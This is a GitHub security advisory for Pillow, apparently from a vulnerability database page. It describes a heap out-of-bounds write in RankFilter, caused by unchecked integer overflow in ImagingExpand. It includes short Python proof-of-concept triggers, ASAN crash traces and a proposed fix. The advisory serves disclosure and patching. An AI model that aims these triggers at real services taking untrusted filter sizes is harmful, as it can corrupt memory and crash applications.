  "details": "### Summary\n\nPillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n    def filter(self, image):\n        if image.mode == \"P\":\n            msg = \"cannot filter palette images\"\n            raise ValueError(msg)\n        image = image.expand(self.size // 2, self.size // 2)\n        return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin \u003c 0 \u0026\u0026 ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n    imIn-\u003emode, imIn-\u003exsize + 2 * xmargin, imIn-\u003eysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x \u003c xmargin; x++) {\n    imOut-\u003eimage[yout][x] = imIn-\u003eimage[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size \u0026 1)) {\n    return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size \u003e INT_MAX / size || size \u003e INT_MAX / (size * (int)sizeof(FLOAT32))) {\n    return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut  those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n                           validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow\u0027s native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin \u003c 0 || ymargin \u003c 0) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin \u003e (INT_MAX - imIn-\u003exsize) / 2 ||\n    ymargin \u003e (INT_MAX - imIn-\u003eysize) / 2) {\n    return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
  "id": "GHSA-xj96-63gp-2gmr",
  "modified": "2026-07-20T23:08:58Z",
  "published": "2026-07-20T23:08:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/pull/9695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-3454

BREW-AIDER-CVE-2026-59197 (GHSA-XJ96-63GP-2GMR)

Summary

Details

PoC

Impact

Possible fix

BREW-PILLOW-CVE-2026-59197 (CVE-2026-59197)

CVE-2026-59197 (GCVE-0-2026-59197)

GHSA-XJ96-63GP-2GMR

Summary

Details

PoC

Impact

Possible fix

Tags

Sightings

Nomenclature

Related by attack behaviour